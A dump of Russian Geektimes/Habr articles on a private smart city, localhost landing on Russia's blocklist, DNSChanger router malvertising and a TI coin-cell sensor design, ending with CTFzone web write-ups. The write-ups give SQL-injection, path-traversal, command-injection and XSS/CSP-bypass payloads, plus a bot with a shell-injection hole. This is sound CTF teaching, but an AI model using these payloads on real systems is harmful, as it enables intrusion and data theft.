Когда автомойка начнет приносить владельцу стабильную прибыль, он сможет нанять хороших дизайнеров и сделать себе уникальный стиль, если захочет.
Город получает среду европейского уровня, а бизнес при этом не страдает. В этом залог развития. 4) Поддержка экологичных видов транспорта
За использование авто с ДВС с горожан будет должен взиматься налог, который будет идти на субсидирование водителей с электрокарами. Это будет стимулировать приобретать экологичный транспорт. Этот пункт необходимо внедрять постепенно, давая жителям возможность плавного перехода. 5) Единый архитектурный стиль
Хотите построить в городе новое здание? Не проблема, только соблюдайте высотность застройки и окружающий архитектурный стиль. Также к услугам команда архитекторов города и инженерное бюро. Она поможет спроектировать здание с учетом нужд заказчика. 6) Электронный документооборот . Меньше бумаги, большая мобильность документов. 7) Напишите свои предложения в комментариях Управление городом Почему бизнес добьется эффективности в управлении?
Именно у бизнеса есть опыт в управлении и построению эффективных больших компаний. Бизнес создает миллиардные компании с тысячами людей в подчинении.
Я считаю, что у среднестатистический управленец крупной компании опытнее среднестатистического мэра города. Я сейчас рассматриваю случаи, когда такой управляющий добился высоких результатов сам, а не был нанят, потому что он «друг кузена».
Сфера IT, к слову, самая прогрессивная и быстроразвивающаяся. Здесь применяются современные технологии управления, а не устаревшие «через передачу служебных записок». Зачем это бизнесу?
Крупные западные ИТ компании понимают, что их компетенции и амбиции могут менять не только интернет, но и в оффлайн индустрию. Google давно не просто поиск и онлайн-сервисы, это компания, которая строит плавучий дата-центр и даже собственный аэропорт или вот еще: Y Combinator строит свой город , а Facebook завод-лабораторию . Это тенденция говорит нам о том, что для комплексного развития ИТ-компаниям необходимо выходить за пределы интернета. Интернет — это только проводник среди инфраструктуры, в которой мы живем и чтобы шагнуть дальше, порой нужно создать саму инфраструктуру.
Рано или поздно российские ИТ-компании это осознают и тоже последуют примеру западных коллег. И главное, чтобы не было «поздно». Именно поэтому я пишу эту статью здесь, на крупной ИТ-площадке России. Этими статьями я хочу показать проблему и возможные пути ее решения.
Частный умный город — это база для внедрения различных ИТ-решений, которые смогут приносить постоянный доход компаниям. И если в обычном городе у компаний мало компетенций, то в частном она сможет развернуться.
Возможно, к концепции умного частного города присмотрится Яндекс или Luxoft, или любая другая ИТ-компания. Я полностью осознаю, что капитал таких компаний может не осилить реализацию подобного проекта, это и не важно. У крупных компаний большие компетенции и связи. А главное, у них есть вес на рынке. Если амбиций у руководителя компании хватит, он сможет на должном уровне реализовать эту идею. Даже крупные девелоперы не строят жилые комплексы и коттеджные поселки на свои деньги, в основном, это происходит за деньги инвесторов. Поэтому не обязательно вкладывать в проект большой капитал, необходимо находить тех, кто поверит в эту идею. FAQ Почему государство разрешит построить частный город?
Для государства частный город — это огромный налоговый объект. Зачем ему запрещать то, что принесет ему доход? Конституционные устои он не нарушает. Это тоже самое, что сказать, что частные коттеджные поселки нарушают целостность России. Утопия, утопия, утопия. Это невозможно, нереализуемо, недопустят.
Я думаю в англоязычном интернете также сидели и обсуждали Маска (привожу его в пример, т. к. он на слуху): электромобили — это нерентабельно, кому это нужно, никто это не будет покупать.
А теперь традиционные автоконцерны переориентируются поголовно.
И абсолютно также многие говорили про МС-21 : у нас нет мощностей, авиастроительная отрасль в упадке, ее разрушили при перестройке, у нас нет толковых конструкторов и инженеров, все они уже на пенсии, нет инфраструктуры. Где теперь эти ребята?
Если почитать комментарии, то складывается ощущение, что вообще ничего в России не получится, что начинать даже не стоит, что лучше поджать ножки и забиться в уголок.
Друзья, я не предлагаю строить город на Луне. Ничего сверхъестественное в статье не озвучено, все в границах разумного. Сейчас в некоторых частных коттеджных поселках есть свои школы и детские сады, магазины и небольшие пункты первой помощи. Продолжение следует.
Напоминаю, что все, что я предлагаю в проекте не является окончательным и бесповоротным. Я гибок и выслушиваю любые предложения. Многие части проекта я уже поменял с подачи различных участников сообщества. Критикуйте, но предлагайте взамен что-то новое.
Пишите комментарии здесь и присоединяйтесь к группе в VK или FB чтобы вести общение там. | https://geektimes.ru/post/283680/ |
habrahabr | Кто заблокировал локалхост и кому это выгодно? | ['регулирование интернета', 'блокировка', 'localhost', 'роскомсвобода', 'реестр запрещенных сайтов'] |
Вчера прочитал новость, которую ждали многие — Роскомнадзор заблокировал… сам себя. А точнее все не совсем так — в реестр запрещенных сайтов попал localhost (127.0.0.1). Попробуем разобраться,... |
Вчера прочитал новость, которую ждали многие — Роскомнадзор заблокировал… сам себя. А точнее все не совсем так — в реестр запрещенных сайтов попал localhost (127.0.0.1). Попробуем разобраться, как же это случилось, что из этого получилось и кому же это было нужно?
Итак, как localhost мог попасть в черный список РКН?
Дело в том, что решение о блокировке выносится на доменное имя, на котором может быть «привязано» несколько IP-адресов. Далее уведомление о блокировке высылается владельцу ресурса, после чего ему дают 3 дня на удаление запрещенного контента. За эти три дня владелец может устранить причины блокировки.
Однако за те же 3 дня владелец ресурса может изменить привязки в DNS имени, в том числе указав IP, привязанный к другому домену. Видимо, так и произошло в истории с сайтом karaoke-besplatno.ru .
Желающие напакостить Роскомнадзору и процессу блокировки сайтов с противоправным контентом, умышленно изменили IP на 127.0.0.1.
Так как список IP на блокировку выгружается автоматически, локалхост попал в реестр наравне с правильными IP-адресами. А после обнаружения сотрудниками РКН был оттуда исключен.
После этого IP на блокировку поступили к провайдерам, которые также не удосужились проверить список на адекватность. Так все, видимо, и произошло: РКН и провайдер не доглядели, а хитроватый владелец домена просто поиздевался над всеми.
Так как на блокировку дается три дня, а IP 127.0.0.1. был вычеркнут из реестра после обнаружения ошибки, реального ущерба сайту РКН нанесено не было.
А теперь самое интересное: только ли karaoke-besplatno.ru хотело поиздеваться над Роскомнадзором и провайдерами? Первыми о «сенсации» сообщила Роскомсвобода . После этого многие перепечатали данное сообщение, а Роскомнадзор оперативно устранил этот казус, не понеся большого ущерба. Для karaoke-besplatno.ru это также не принесло никакой выгоды, т.к. даже в случае увеличения потока заходов, сайт оказывается недоступен. Получается, что возросший трафик и свою выгоду получила лишь Роскомсвобода. Учитывая как они себя попиарили, можно предположить, что они подсказали владельцам karaoke-besplatno.ru изменить IP-адрес на локалхост. | https://geektimes.ru/post/283646/ |
habrahabr | Кампания зловредной рекламы ставит целью не браузер и не компьютер, а роутер | ['DNSChanger', 'фейковая реклама', 'вирусы'] |
Разработчики зловредного программного обеспечения ищут все новые пути заражения компьютеров. Цель — похищение данных, шифрование файлов с требованием «выкупа», демонстрация сторонней рекламы,... |
Разработчики зловредного программного обеспечения ищут все новые пути заражения компьютеров. Цель — похищение данных, шифрование файлов с требованием «выкупа», демонстрация сторонней рекламы, клики по которой приносит киберпреступникам деньги. Недавно специалисты по информационной безопасности из компании Proofpoint обнаружили именно такое ПО. Причем вместо браузера или операционной системы оно заражает роутеры. Называется новинка DNSChanger EK.
Схема работы киберпреступников относительно простая . Они покупают рекламу на популярных сайтах, и внедряют в эту рекламу скрипт, где используется WebRTC запрос к серверу Mozilla STUN. Цель — определение локального IP пользователя, зашедшего на сайт с зараженными рекламными банерами.
Если публичный адрес уже известен или не находится в промежутке целей, то пользователю показывают обычный баннер от сторонней рекламной сети. Если нужно действовать (то есть, если работу сети обеспечивает роутер), то в этом случае JavaScript, привязанный к рекламе, берёт из поля комментария изображения PNG код HTML и открывает лэндинг DNSChanger EK. Поддельная реклама, которая перенаправляет запрос пользователя на сервера злоумышленников
С этого момента начинает работать уже эксплоит. Если роутер пользователя уязвим (это определяется в автоматическом режиме), его браузеру отсылается файл изображения со встроенным при помощи стеганографии ключом шифрования AES. Ключ позволяет скрипту в «отравленной» рекламе декодировать трафик, который ПК жертвы получает от эксплоита. При этом все операции киберпреступников шифруются, чтобы не показать подноготную процесса специалистам по информационной безопасности.
После того, как жертва получает ключ, эксплоит отсылает список «отпечатков» роутеров. Сейчас в списке, по словам экспертов, уже более 166 «отпечатков». Скрипт, размещенный в рекламе, анализирует роутер, который использует жертва, и отсылает результат обследования на сервер эксплоита. Если система пользователя определяется, как уязвимая, начинается атака на устройство с использованием специфического набора инструментов взлома или же набора дефолтных наборов пароль/логин для каждой конкретной модели устройства.
Все это делается для изменения DNS-настроек роутера жертвы, для того, чтобы настроить редирект трафика через сервера злоумышленников. Сама операция происходит за считанные секунды, это только описание самого процесса выглядит длинным. Если настройки роутера позволяют это сделать, злоумышленники открывают управляющие порты для внешнего подключения, с тем, чтобы контролировать зараженные устройства напрямую. Исследователи утверждают, что они наблюдали, как злоумышленники открыли управляющие порты для 36 роутеров из 166 устройств, находящихся в списке. Схема атаки экплоита DNSChanger
В случае, если атака проходит успешно, рекламу таких сетей, как AdSupply, OutBrain, Popcash, Propellerads, Taboola в браузере пользователя меняют рекламные вставки злоумышленников. Плюс реклама показывается теперь даже на тех сайтах, где ее нет.
Стоит отметить, что DNSChanger направлен на атаку пользователей с браузером Chrome, а не Internet Explorer, как в большинстве случаев. Причем атаки проводятся злоумышленниками как для десктопов, так и для мобильных устройств. Реклама показывается и на десктопах, и на мобильных устройствах.
К сожалению, пока что специалисты по информационной безопасности не могут определить весь список уязвимых ротуеров. Но известно, что в него входят модели устройств от таких производителей, как Linksys, Netgear, D-Link, Comtrend, Pirelli, и Zyxel. Среди уязвимых роутеров специалисты из Proofpoint могут назвать такие устройства: D-Link DSL-2740R
COMTREND ADSL Router CT-5367 C01_R12
NetGear WNDR3400v3 (и, вероятно, все прочие системы из этого же модельного ряда)
Pirelli ADSL2/2+ Wireless Router P.DGA4001N
Netgear R6200
Анализ трафика DNSChanger EK, проходящего через взломанный злоумышленниками роутер
Конечно, проблема не только в том, что жертва видит навязываемую рекламу в своем браузере. Главное то, что злоумышленники получают возможность управлять трафиком пользователя, а это означает, что здесь становится возможным и увод данных банковской карты, и похищение личных данных любых других сайтов, включая социальные сети. При заражении достаточно большого числа систем киберпреступники смогут формировать собственный ботнет.
И понятно, что под удар попадают не единичные пользователи, а все участники локальной сети, формируемой скомпрометированным роутером. Что делать?
Поскольку атака производится через браузер пользователя, и злоумышленники получают возможность перехватывать трафик, то простой смены пароля/логина для администратора роутера или же отключение интерфейса администратора может быть недостаточно.
Единственный способ почувствовать себя в безопасности — это обновить прошивку роутера на самую новую версию, которая, скорее всего, уже включает защиту от действий эксплоитов из пакета DNSChanger EK.
Команда Proofpoint отмечает, что большое количество «отравленной» рекламы, размещаемой злоумышленниками, скрывается при помощи блокировщиков. Так что пользователи ПО, блокирующего такого типа рекламу, менее уязвимы, чем те пользователи, которые не стараются скрыть рекламу.
К сожалению, проблема еще и в том, что производители маршрутизаторов не слишком активно выпускают обновления безопасности для своих устройств. Если бы они реагировали своевременно, атаки злоумышленников были бы менее успешными и гораздо менее масштабными. | https://geektimes.ru/post/283730/ |
habrahabr | 10 лет работы на одной батарейке: беспроводной датчик влажности и температуры | ['сенсоры', 'умный дом', 'температура', 'влажность воздуха', 'texas instruments', 'беспроводные технологии', 'беспроводной датчик температуры', 'питание от батареек', 'беспроводные сети', 'sleep mode', 'таймеры', 'CR2032'] | Texas Instruments занимает лидирующие позиции во многих сегментах рынка полупроводниковой продукции. Следуя традиции, компания сама разрабатывает примеры применения своих электронных компонентов и... | Texas Instruments занимает лидирующие позиции во многих сегментах рынка полупроводниковой продукции. Следуя традиции, компания сама разрабатывает примеры применения своих электронных компонентов и публикует материалы на своем сайте: теория, схемы, референс-дизайны, обучающее видео и т.д. Там же продаются электронные компоненты и готовые платы (комплекты разработчиков и инструменты). Также TI имеет собственный форум e2e.ti.com и поддерживается сторонний ресурс www.43oh.com для инженеров-разработчиков и просто любителей. Активно ведет работу со школами и колледжами, обучая программированию микроконтроллеров даже младшеклассников.
Тем не менее, наши любители мало знакомы с примечательной продукцией этой компании. Скорее всего, это связано с ценой и почти отсутствием материалов на русском языке, что ограничивает аудиторию любителей, познакомившихся с полупроводниковой продукцией от TI. Также есть один неприятный нюанс – некоторые вещи не пропустит таможня РФ, а другие не экспортируются из США в РФ (и это не последствия недавних санкций — «так было»). Тем не менее есть способы приобрести необходимое.
Этой статьей я хочу обратить внимание любителей-разработчиков на решения TI, в частности, применимые для умного дома. Ряд опубликованных статей на GT об умном доме могли бы позаимствовать некоторые интересные решения. Например, опубликованная avs24rus статья Беспроводный Lighting-Sensor с питанием от CR2450 , вызвала, запомнившееся мне, обсуждение в комментариях: «Как сделать так, чтобы датчик «поставить и забыть» на улице в условиях экстремальных минусовых температур? Аккумулятор, солнечная батарея, ионистор?
Предлагаю познакомиться с решением этой проблемы от TI на примере референс-дизайна TIDA-00484 TI Design: Датчик влажности и температуры на электронных компонентах TI может работать от популярного литиевого миниатюрного элемента питания CR2032 более 10 лет в диапазоне –30°C… 60°C , что ограничено рабочим диапазоном CR2032, а не электронных компонент для коих этот диапазон равен –40°C… 85°C (для элемента питания BR2032 рабочий диапазон -30… 85 °C). TIDA-00484 TI Design :
Пойдем от общего к частному. И сначала характеристики TIDA-00484 TI Design: Параметры
Описание
Источник питания
CR2032 (емкость 240 мАч)
Тип датчика
Влажность и температура
Точность измерения температуры
± 0,2°C
Точность измерения относительной влажности
± 3%
Интервал измерения
Одно измерение в минуту
Среднее потребление во включенном состоянии
3,376 мА
Время во включенном состоянии
0,03 секунд
Среднее потребление в состоянии покоя
269,75 нА
Время в состоянии покоя
59,97 секунд
Расчетное время работы от источника питания
11,90 лет
Диапазон рабочих температур
от –30°C до 60°C (ограничено диапазоном рабочих температур для CR2032)
Условия работы
Внутри и вне помещений
Размер
3,81 см × 7,62 см
Определимся с временем работы от автономного источника питания. Система может находится в двух состояниях: во включенном и в выключенном. Продолжительность и средний ток каждого состояния являются факторами, определяющими общую продолжительность работы от источника питания. Расчет времени производится по следующей формуле:
где Battery life, расчетное время работы от источника питания в годах
Battery capacity, ёмкость источника питания в мАч
А основными параметрами, которые влияют на расчетный срок автономной работы всей системы являются: Среднее потребление во включенном состоянии, I ON , в mA
Время во включенном состоянии, T ON , в секундах
Среднее потребление в состоянии покоя, I OFF , в нА
Время в состоянии покоя, T OFF , в секундах
Формула для Excel Желающие могут рассчитать самостоятельно в табличном процессоре. Данные в ячейках B9..B13
Battery capacity, mAh
B9=240
I on, mA
B10=3,376
T on, s
B11= 0,03
I off, nA
B12=269,75
T off, s
B13= 59,97
Battery life, лет
=B9/((B10*B11+B12*B13*0,000001)/(B11+B13))*0,85/8760
Battery life получилось 11,89
T OFF , полностью контролируется конечным пользователем т.к. в данном случае система для измерений просыпается каждую минуту и T OFF = 1 минута – T ON . На минимальное время T ON почти не может влиять пользователь т.к. оно определяется временем необходимым для включения системы, выполнения измерения, передачи радиопакета и выключения системы.
I OFF определяется как средний ток, потребляемый от батареи в выключенном состоянии. Этот ток обычно определяется в основном током утечки через конденсаторы и рабочий ток датчиков и систем микроконтроллера, обеспечивающих спящих режим. Микроконтроллеры Texas Instruments давно известны сверхнизкой потребляемой мощностью, к которой конкуренты только приближаются, тем не менее даже такой рекордной экономичности не хватает для работы устройства от элемента CR2032 в течении 10 лет. В данном референс-дизайне разработан метод измерения относительной влажности окружающего воздуха и температуры, достигающий чрезвычайно долгий срок службы элемента питания за счет использования таймера в рабочем цикле устройства.
На следующем графике отображены два метода организации рабочего цикла устройства — с использованием обычного спящего режима микропроцессора (красный) и системного таймера (синий). Черная пунктирная линия — заявленный производителем CR2032 срок службы 10 лет.
Референс-дизайн предназначен для использования в: Промышленности
Интернет вещей (IoT)
Автоматика зданий
Охранные системы
Датчики вентиляции и кондиционирования
Умные Термостаты
Системы с батарейным питанием
Посмотрим за счет чего получается рекордная экономичность этого прототипа устройства. Устройство построено с использованием следующих компонент: Компонент
Описание
TPS61291
Повышающий DC-DC преобразователь напряжения с режимом bypass
TPL5111
Системный таймер
TPS22860
Выключатель нагрузки
HDC1000
Датчик влажности и температуры
CC1310
«Беспроводной контроллер»
CC1310 – многоядерная однокристальные система, бюджетный энергоэффективый беспроводной контроллер, оптимизированных для операций в субгигагерцевом диапазоне. Высокопроизводительный трансивер управляется выделенным процессорным ядром Cortex-M0 , выполняющим прошитые в его ROM низкоуровневые протоколы . Протоколы верхнего уровня выполняются на отдельном 32-битном процессорном ядре Cortex-M3 с тактовой частотой до 48 МГц. Опрос датчиков проводится независимым микромощным контроллером (16-разрядный RISC-процессор, способный работать на частотах от 32 кГц, пока остальная система находится в спящем режиме или режиме ожидания), который может работать и с аналоговыми, и с цифровыми датчиками.
Контроллерное ядро Cortex M3 имеет богатый набор периферийных устройств и содержит: датчик температуры;
четыре таймерных модуля общего назначения (2x16- или 1x32 бит с режимом ШИМ);
8-канальный 12-битный АЦП (до 200 квыб/с);
сторожевой таймер;
аналоговый компаратор;
UART, I2C;
три SPI (один из них – микромощный);
— AES-модуль;
— 10...31 линий ввода-вывода (в зависимости от текущей конфигурации и корпуса);
— поддержку до восьми емкостных кнопок
Параметр
Диапазон частот и
поддерживаемые типы
модуляции
Sub 1 GHz: MSK, FSK, GFSK, OOK, ASK, 4GFSK, CPM (shaped 8 FSK)
Поддерживаемые протоколы
Сети топологии «звезда»:WMBUS, SimpliciTI
Flash, кБайт
128
RAM, кБайт
20
Напряжение питания, В
1,65...3,8
Температурный диапазон, °C
40...85
Чувствительность 2,4 Кбит/с, дБм
-121
Чувствительность 50 Кбит/с, дБм
-111
Максимальная выходная мощность при 868 МГц, дБм
15
Максимальная ширина полосы пропускания на приеме, кГц
400
Минимальная ширина полосы пропускания на приеме, кГц
40
Скорость передачи данных, кМбит/с
до 4
Энергопотребление
контроллер приложений в активном режиме – 61 мкA/МГц (ARM Cortex M3)
ток потребления в спящем режиме с запущенным таймером и сохранением содержимого памяти – 0,7 мкA
радиотракт субгигагерцевого диапазона – 5,5 мА при приеме, 12 мА при передаче (выходная мощность 10 дБм)
Техпроцесс
65 нм
Использование наномощного таймера TPL5111 дает очевидное преимущество т.к. фактически к окончанию срока службы элемента питания можно заменить всё устройство, например при запланированном ремонте помещений, обслуживании или модернизации оборудования. Если для умного дома редко нужно более двух таких устройств (внешний и внутренний), то в случае объектов промышленности, зданий и систем вентиляции, таких датчиков будет намного больше и их периодическое обслуживание может выйти в серьезные расходы.
Если рассчитать по формуле выше, то полученный результат будет равен 6,75 лет. Описание рабочего цикла намного короче описания конструкции и его характеристик.
Во включенном состоянии, по истечении определенного интервала, таймер TPL5111 подает питание на повышающий преобразователь TPS61291, который поднимает выходное напряжение до 3,3 вольт и на выключатель нагрузки TPS22860, соединяющей повышенное выходное напряжение с остальными частями системы. После появления питающего напряжения, CC1310 по I2C получает текущую температуру и относительную влажность с датчика HDC1000, затем передает «безсоединяемый» пакет данных с этой информацией (т.е. без инициализации и установки соединения с каким-либо узлом сети), а затем сигнализирует на TPL5111 о том, что система может быть отключена.
В выключенном состоянии выключатель нагрузки TPS22860 полностью отключает часть системы (CC1310 и HDC1000 устройств) от литиевой батареи. Единственными потребителями тока от литиевой батареи являются токи перезарядки и утечки конденсатора у литиевой батареи, рабочий ток таймера TPL5111, ток покоя TPS61291 в режим байпаса, и ток утечки в переключателе нагрузки TPS22860. График тока потребления от элемента питания при включении системы. График тока потребления от элемента питания во выключенном состоянии системы. Логарифмические шкалы.
Подобный рабочий цикл можно применить в других устройствах, например, некие датчики протечки воды, датчики открытия-закрытия дверей и т.п. где информация не требуются в реальном времени, а проблема питания устройства имеет приоритет.
Подробно с референс-дизайном можно познакомиться в документации на сайте TI: TIDA-00484. Humidity & Temp Sensor Node for Sub-1GHz Star Networks Enabling 10+ Year Coin Cell Battery Life
TIDA-00374. TI Designs Humidity and Temperature Sensor Node for Sub-1GHz Star Networks Enabling 10+ Year Coin Cell Battery Life
Taking power to a new low with the SimpleLink ULP wireless MCU platform
| https://geektimes.ru/post/265776/ |
habrahabr | CTFzone write-ups — Deeper into the WEB | ['ctfzone', 'bizone', 'zeronights', 'ctf'] |
Друзья, надеемся, что выходные у всех прошли хорошо, и вы снова готовы немного поломать голову над заданиями CTFzone. Мы продолжаем публиковать райтапы к таскам, и сегодня мы разберем ветку WEB.... | Друзья, надеемся, что выходные у всех прошли хорошо, и вы снова готовы немного поломать голову над заданиями CTFzone. Мы продолжаем публиковать райтапы к таскам, и сегодня мы разберем ветку WEB . На всякий случай запасайтесь кавычками и вперед ;) Направление WEB было вторым по популярности после Forensics, в общей сложности хотя бы одно задание решили 303 человека. Кстати, из них задание на 1000 решили всего пять участников, поэтому ему мы уделим особое внимание. Задания на 50 и на 100 уже публиковались, так что мы сразу перейдем к таскам посложнее. WEB_300. Need to go deeper Captain Picard : Lieutenant, over! We have found one of the main alien hackers. He is the leader of the group which keeps attacking our servers and we’ve got one of his websites. I know that you’re still busy repairing your ship but there is no one who can do it but you. You have to crack the website and to find the data which will help us catch him. Решение: Итак, в этом задании нам нужно получить информацию, которая поможет поймать лидера группы хакеров. Мы знаем, что эта информация содержится на сайте, и чтобы получить данные, его надо взломать. Сайт представляет из себя новостной блог с возможностью поиска: Запустим перебор директорий (например с помощью dirb ) Как видно, присутствует директория .git . Попробуем сдампить исходники (например с помощью rip-git ) В итоге у нас получатся примерно такие файлы: Рассмотрим наиболее интересную часть из index.php : indeх.php ...
if (isset($_GET['filter']))
$filter = $_GET['filter'];
else
$filter = '%'; // all news
if (preg_match("/'/", $filter))
error('Hacking attempt!'); // hate hackers
if ($filter !== '%')
{
if (isset($_GET['type']))
{
switch ($_GET['type'])
{
case 1:
// looking for contains
$filter = '%' . $filter . '%';
break;
case 2:
// looking for eхactly matches
break;
default:
error('Type of search is incorrect!');
}
}
else
error('Type of search is empty!');
}
$query = "CALL FIND_NEWS('" . $filter . "')";
$result = $mysqli->query($query);
... Тут описана логика поиска по новостям. В зависимости от параметра type , к параметру filter либо добавляются % , либо нет. Потом содержимое filter передаётся внутрь SQL процедуры FIND_NEWS . Содержимого процедуры мы не знаем, но из названия понятно, что в ней заложена логика поиска по фильтру. Сразу можно обратить внимание на то, что параметр filter перед тем, как попасть в запрос, проверяется на наличие одинарных кавычек. Больше никакого экранирования нет. SQL ошибку можно вызвать с помощью \ в конце запроса (при type равном 2), но проэксплуатировать это никак не получится. Надо копать в сторону процедуры FIND_NEWS . Поскольку в фильтре фигурируют знаки % , можно предположить, что поиск внутри процедуры идёт с использованием оператора LIKE . При внимательном изучении работы поиска становится понятно, что filter одновременно ищет как в названии новости, так и в её тексте. Значит, запрос внутри процедуры выглядит примерно так: SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_teхt LIKE '$filter$'; Итак, логика ясна, но реализация внутри процедуры нам неизвестна. Возможно, процедура сначала собирает запрос как строку, а затем выполняет его. В этом случае внутри возможна SQL Injection , но если это действительно так, как нарушить логику запроса и выполнить что-то другое без одинарной кавычки? Стоит обратить внимание на то, что внутри процедуры, вероятно, параметр filter используется в двух местах. И тут нам на помощь приходит обратный слеш. Если параметр будет иметь вид: +or+1=1+--+\ То запрос получится примерно таким: SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- \' OR news_teхt LIKE ' or 1=1 -- \'; Это вполне рабочий запрос, который должен вывести нам все доступные новости. Однако остаётся проблема — обратный слеш ломает первоначальный запрос и даже не попадает в процедуру. Решение очевидно — его нужно экранировать. В этом случае он будет безопасным для первого запроса (вызова процедуры), однако внутри процедуры уже превратится в опасный одинарный обратный слеш. Получается примерно следующее: +or+1=1+--+\\ Пробуем: Как видно, запрос успешно отработал, и новости загрузились. Наш вектор для SQL Injection работает. Теперь просто осталось раскрутить инъекцию и найти флаг. Узнаём количество столбцов: +union+select+1,2,3+--+\\ Теперь узнаём имена таблиц: +union+select+1,table_name,3+from+information_schema.tables+--+\\ Из интересных: Теперь мы знаем, что есть таблица secret . Узнаём её колонки: +union+select+1,column_name,3+from+information_schema.columns+where+table_name="secret"+--+\\ Последний шаг — вытаскиваем флаг. +union+select+1,flag,3+from+secret+--+\\ Ура! Флаг получен! Ответ: ctfzone{VeRY_d33p} WEB_500. Such hack Captain Picard: Lieutenant, we have detected alien’s news website. Perhaps, there is some data on their server which will tell us about their plans. Get it! Решение: В этом задании нам нужно получить доступ к серверу, где находится ключ. Главная страница выглядит следующим образом: Карта сайта очень простая: Из заголовков сервера ясно, что используется Flask . Уязвимость заключалась в неправильном использование функции send_file() и роутинга. Как следствие, Path Traversal в имени статических файлов. Вот вырезка из исходного кода для лучшего понимания уязвимости (Отметим, что во время соревнований игроки не имели доступа к исходным кодам): ...
@app.route("/static/<path:filetype>/<path:filename>")
def style_file(filetype, filename):
if filetype in app.static_types:
try:
if filetype == 'css':
return send_file('./static/css/' + filename, mimetype='teхt/css')
elif filetype == 'js':
return send_file('./static/js/' + filename, mimetype='teхt/javascript')
else:
return send_file('./static/img/' + filename, mimetype='image/jpeg')
eхcept Eхception as e:
print e
return render_template('404.html'), 404
else:
return render_template('404.html'), 404
... В итоге мы получаем произвольное чтение файлов: Если внимательно посмотреть /etc/passwd , то можно обратить внимание на последние строчки: ...
web:х:1000:1000::/home/web:/bin/bash
telegram_bot:х:1001:1001::/home/telegram_bot:/bin/bash Помимо веб-сервера здесь крутится телеграм-бот, и находится он в папке /home/telegram_bot . Пробуем прочитать самый очевидный файл в домашней директории: .bash_history Следовательно, исходники бота находятся по пути /home/telegram_bot/bot.py . Аналогичным образом читаем файл bot.py : Исходник бота # -*- coding: utf-8 -*-
#!/usr/bin/python2
import telebot
import subprocess
# SysAdminHelper_bot
token = raw_input()
bot = telebot.TeleBot(token)
@bot.message_handler(commands=['uname', 'ps', 'uptime'])
def repeat_all_messages(message):
waf_rules = [';', '&', '|']
for rule in waf_rules:
if rule in message.teхt:
output = 'stop hacking!'
bot.send_message(message.chat.id, output)
return
args = message.teхt.split(' ')
output = ''
if ( args[0] == '/uptime' ):
try:
output = subprocess.check_output(["uptime"], shell=True)
except:
output = 'eхception'
elif ( args[0] == '/uname' ):
try:
output = subprocess.check_output(["uname -a"], shell=True)
except:
output = 'exception'
elif ( args[0] == '/ps' ):
try:
output = subprocess.check_output(["ps auх | grep %s" % args[1]], shell=True)
except:
output = 'eхception'
else:
output = 'eхception'
bot.send_message(message.chat.id, output)
if __name__ == '__main__':
bot.polling(none_stop=True) Как видно, основное назначение бота — выполнять примитивные удалённые команды на сервере. Если посмотреть внимательнее, то можно увидеть следующую строчку: output = subprocess.check_output(["ps auх | grep %s" % args[1]], shell=True) Она интересна потому, что в команду ps aux передаётся аргумент, и он никак не проверяется. Это явная RCE. # SysAdminHelper_bot Эта строчка даёт нам имя бота. Без труда находим его в телеграме. Пробуем выполнить легитимную команду: Хоть мы и имеем явную RCE, на неё наложено несколько ограничений: В команде не может быть пробелов, поскольку бот разделяет аргументы через пробелы.
Мы не можем использовать символы & ; | т.к. они запрещены в коде бота.
В данном случае существует несколько различных решений, рассмотрим одно из них. Поскольку бэктики разрешены, то выполнить код можно через них. Полная команда будет выглядить так: ps auх | grep `uname -a` Для решения проблемы с пробелами можно использовать следующую конструкцию: ps auх | grep `{uname,-a}` Локально результат работы команды выглядит следующим образом: Наш вектор работает, но проблема в том, что вывод сначала идёт в grep , там обрабатывается и в итоге попадает в STDERR (поток вывода ошибок) вместо STDOUT (обычный поток вывода). Если такой вектор передать боту, то наличие данных в STDERR сгенерирует исключение, из-за которого мы не увидим никакого вывода. Простыми словами — наша RCE работает, но мы не видим результата. Но тут самое время вспомнить, что на предыдущем этапе мы находили Path Traversal . В итоге у нас получается связка Blind RCE и Path Traversal . Итак, вывод RCE мы можем записать в файл, а Path Traversal его легко прочитает. Конечный вектор выглядит следующим образом: ``{ls,/home/}>/tmp/output`` Бэктиков по 2 с каждой стороны потому, что клиент телеграма подсвечивает текст внутри одинарных бэктиков как код и удаляет их. Отправляем вектор боту и получаем в ответ вполне ожидаемый eхception : Через Path Traversal читаем файл /tmp/output : Таким образом мы узнали, что в папке /home/ находятся 3 папки: flag , telegram_bot и web Полностью аналогично читаем содержимое папки flag : Читаем флаг: Ответ: ctfzone{W0W_SUCH_H@CK_W0W} WEB_1000. Banner flipping Captain Picard: Lieutenant, we figured out that the producer of the alien spaceship which we seized yesterday is Advanced Technology Industries. We have to get the access to their control system. I need all documentation and a special key to unlock it. The developers from Advanced Technology Industries had to retreat after the last battle and to get back to their base but before this they had always been present on the ship. The team had been working very hard upgrading their control system and advertising the goods of their partners. Now only the advertising system is working as it is fully automatized and equipped with the artificial intelligence. You have to hack their system. Решение: Заходим на сайт. Сразу видим форму поиска, в которой выводится запрос из поисковой строки. Первая мысль XSS . Начинаем пробовать вектора XSS . Обходим простейшую фильтрацию, например, используя uppercase.
Видим инъекцию в коде странице: <div class="row">
<div class="col s6 offset-s3">
<div class="card orange lighten-3">
<div class="card-content white-teхt">
<p>Nothing found for 'asd<Img src=х onerror=alert(1)>'</p>
</div>
</div>
</div>
</div>
Похоже, что XSS у нас в кармане. Но почему-то alert не отрабатывает, смотрим консоль браузера: Content Security Policy. Сервер высылает заголовки: HTTP/1.1 200 OK
Connection: close
Content-Type: teхt.html; charset=utf-8
Content-Length: 1930
X-XSS-Protection: 0
Content-Security-Policy: style-src 'unsafe-inline' 'self';script-src 'self';object-src 'none'; Ну что же, можно не обходить аудитор браузера, но выполнение скрипта разрешено только из файлов находящихся на сервере.
Ищем новые кнопки на сайте. Есть форма обратной связи, в которой скорее всего надо будет скинуть ссылку админу. И форма загрузки рекламного объявления. Пробуем загрузить .js файл. Разрешены только картинки и swf . Судя по тому, что мы нашли XSS до этого, надо залить js . При этом у всех файлов проверяется разрешение и еще несколько параметров. После недолгих размышлений решаем пробовать swf из репозитория https://github.com/evilcos/хss.swf . Получаем ошибку: Похоже, надо заморочиться с swf . По легенде adblock все равно выключен. Возможно, получится подсунуть swf файл с валидным javascript синтаксисом. Первым делом меняем заголовок с CWS на FWS . Теперь сервер считает, что swf файл не сжат. Следующая проблема — framerate . Что же гуглим спеку, находим, что по смещению 0x12 он как раз и лежит.
Теперь наш swf загружается на сервер. Осталось сделать валидный javascript и для начала вытащить куки. Формируем payload : А теперь делаем хss !
